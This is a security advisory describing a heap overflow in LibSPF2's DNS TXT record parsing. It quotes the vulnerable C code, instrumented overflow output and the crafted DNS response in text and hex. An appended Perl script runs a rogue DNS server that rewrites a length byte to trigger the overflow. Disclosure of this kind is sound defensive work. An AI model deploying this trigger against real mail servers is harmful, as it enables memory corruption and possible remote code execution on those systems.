Advisory: DNS TXT Record Parsing Bug in LibSPF2 Author: Dan Kaminsky, Director of Penetration Testing, IOActive Inc, Dan.Kaminsky@ioactive.com (PGP Key In Appendix) Abstract: A relatively common bug parsing TXT records delivered over DNS, dating at least back to 2002 in Sendmail 8.2.0 and almost certainly much earlier, has been found in LibSPF2, a library frequently used to retrieve SPF (Sender Policy Framework) records and apply policy according to those records. This implementation flaw allows for relatively flexible memory corruption, and should thus be treated as a path to anonymous remote code execution. Of particular note is that the remote code execution would occur on servers specifically designed to receive E-Mail from the Internet, and that these systems may in fact be high volume mail exchangers. This creates privacy implications. It is also the case that a corrupted email server is a useful ��jumping off�� point for attackers to corrupt desktop machines, since attachments can be corrupted with malware while the containing message stays intact. So there are internal security implications as well, above and beyond corruption of the mail server on the DMZ. Recommendations: If you are a major mail exchange, you should determine whether the SPAM filters that protect your systems use LibSPF2. If you are a vendor of anti-SPAM devices, or the author of an operating system with components that may use LibSPF2, you should determine whether LibSPF2 is used in any of your configurations and migrate to LibSPF 1.2.8, found at: http://www.libspf2.org/index.html If your product has a dependency on DNS TXT records, we recommend you test it for the parsing bug that LibSPF2 was vulnerable to, since this has been a problem for some time. Name server implementations may want to consider adding filtering themselves, though record validation is not normally their job. Details: DNS TXT records have long been a little tricky to parse, due to them containing two length fields. First, there is the length field of the record as a whole. Then, there is a sublength field, from 0 to 255, that describes the length of a particular character string inside the larger record. There is nothing that links the two values, and DNS servers to not themselves enforce sanity checks here. As such, there is always a risk that when receiving a DNS TXT record, the outer record length will be the amount allocated, but the inner length will be copied. In the past, we��ve seen this particular bug all over the place, including in Sendmail. This is just the same bug, showing up in LibSPF2 1.2.5: Spf_dns_resolv.c#SPF_dns_resolv_lookup(): case ns_t_txt: if ( rdlen > 1 ) { u_char *src, *dst; size_t len; if ( SPF_dns_rr_buf_realloc( spfrr, cnt, rdlen ) != SPF_E_SUCCESS ) // allocate rdlen bytes at spf->rr[cn]->txt return spfrr; dst = spfrr->rr[cnt]->txt; len = 0; src = (u_char *)rdata; while ( rdlen > 0 ) { len = *src; // get a second length from the attacker controlled datastream -- some value from 0 to 255, unbound to rdlen src++; memcpy( dst, src, len ); // copy that second length to rdlen byte buffer. dst += len; src += len; rdlen -= len + 1; } *dst = '\0'; For validation purposes, a build of LibSPF2 was instrumented, to validate the heap overflow: $ ./spfquery -ip=1.2.3.4 -sender=foo@bar.toorrr.com buffer 8107080 has size 16 buffer 8107090 has size 16 buffer 81070a0 has size 16 writing 255 bytes to a 15 size buffer at 81070a0 // overflow buffer 8123030 has size 234 writing 233 bytes to a 234 size buffer at 8123030 buffer 81060c0 has size 20 buffer 81060e0 has size 20 buffer 8123120 has size 234 buffer 8106100 has size 31 StartError Context: Failed to query MAIL-FROM ErrorCode: (2) Could not find a valid SPF record Error: Invalid character in middle of mechanism near '� bar.toorrr' Error: Failed to compile SPF record for 'bar.toorrr.com' EndError (invalid) The actual record used to spawn this behavior was as follows: ;; HEADER SECTION ;; id = 63838 ;; qr = 1 opcode = QUERY aa = 1 tc = 0 rd = 1 ;; ra = 0 ad = 0 cd = 0 rcode = NOERROR ;; qdcount = 1 ancount = 2 nscount = 0 arcount = 0 ;; QUESTION SECTION (1 record) ;; bar.toorrr.com. IN TXT ;; ANSWER SECTION (2 records) bar.toorrr.com. 0 IN TXT "v=spf1 mx +all" bar.toorrr.com. 0 IN TXT "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" ;; AUTHORITY SECTION (0 records) ;; ADDITIONAL SECTION (0 records) Or, in hex: 00 01 02 03 04 05 06 07 - 08 09 0A 0B 0C 0D 0E 0F 0123456789ABCDEF 00000000 F9 5E 85 00 00 01 00 02 - 00 00 00 00 03 62 61 72 .^...........bar 00000010 06 74 6F 6F 72 72 72 03 - 63 6F 6D 00 00 10 00 01 .toorrr.com..... 00000020 C0 0C 00 10 00 01 00 00 - 00 00 00 0F FF 76 3D 73 .............v=s 00000030 70 66 31 20 6D 78 20 2B - 61 6C 6C C0 0C 00 10 00 pf1 mx +all..... 00000040 01 00 00 00 00 00 EA E9 - 41 41 41 41 41 41 41 41 ........AAAAAAAA 00000050 41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00000060 41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00000070 41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00000080 41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00000090 41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000000A0 41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000000B0 41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000000C0 41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000000D0 41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000000E0 41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000000F0 41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00000100 41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00000110 41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00000120 41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00000130 41 A The altered length field, on 0x2C, is what��s causing the overflow. Sample code to reproduce the above is attached at the end of this paper. Conclusion: There��s nothing particularly special about this bug �� we��ve even seen this in mail servers before. But it is apparently present on some very high profile and high traffic systems. SPF is a major part of how the Internet attempts to filter SPAM, and while it��s not perfect, it is pretty helpful. LibSPF2 is one of the more common libraries out there for handling SPF traffic, with billions of messages a day being protected by it. Unfortunately, that also means billions of messages a day are at risk �� the nature of this flaw is such that an attacker can force arbitrary (or at least ASCII encoded, though no nameservers have been found that enforce ASCII) bytes to be copied into a buffer too small to contain them. This is a straightforward anonymous remote code execution find, made interesting specifically by where the bug happens to be. Appendix: Simple code to reproduce heap overflow. # cat spfattack.pl #!/usr/bin/perl # use Net::DNS; use IO::Socket::INET; use Data::HexDump; my $qclass = "IN"; my $ttl = 10; while (1){ my $sock = IO::Socket::INET->new( LocalPort => '53', Proto => 'udp'); $sock->recv($newmsg, 2048); my $req = Net::DNS::Packet->new(\$newmsg); $req->print; my $id = $req->header->id(); my @q = $req->question; my $qname = $q[0]->qname; my $qtype = $q[0]->qtype; if($qtype eq "PTR") { next; } $answer = Net::DNS::Packet->new($qname, $qtype); if($qtype eq "TXT"){ $answer->push(answer => Net::DNS::RR->new("$qname 0 $qclass $qtype 'v=spf1 mx +all'")); $answer->push(answer => Net::DNS::RR->new("$qname 0 $qclass $qtype 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'")); } if($qtype eq "MX"){} $answer->header->id($id); $answer->header->aa(1); $answer->header->qr(1); $answer->print; my $port = $sock->peerport; my $peer = inet_ntoa($sock->peeraddr); $sock->shutdown(2); $sock = ""; my $tempsock = IO::Socket::INET->new( LocalPort=>'53', PeerAddr=>"$peer", PeerPort=>$port, Proto=>'udp'); my $newans; $newans = $answer->data; if($qtype eq "TXT"){ substr($newans, 44, 1, pack("c",0xff)); print HexDump $newans; } $tempsock->send($newans); #my $packet = Net::DNS::Packet->new(\$newmsg); }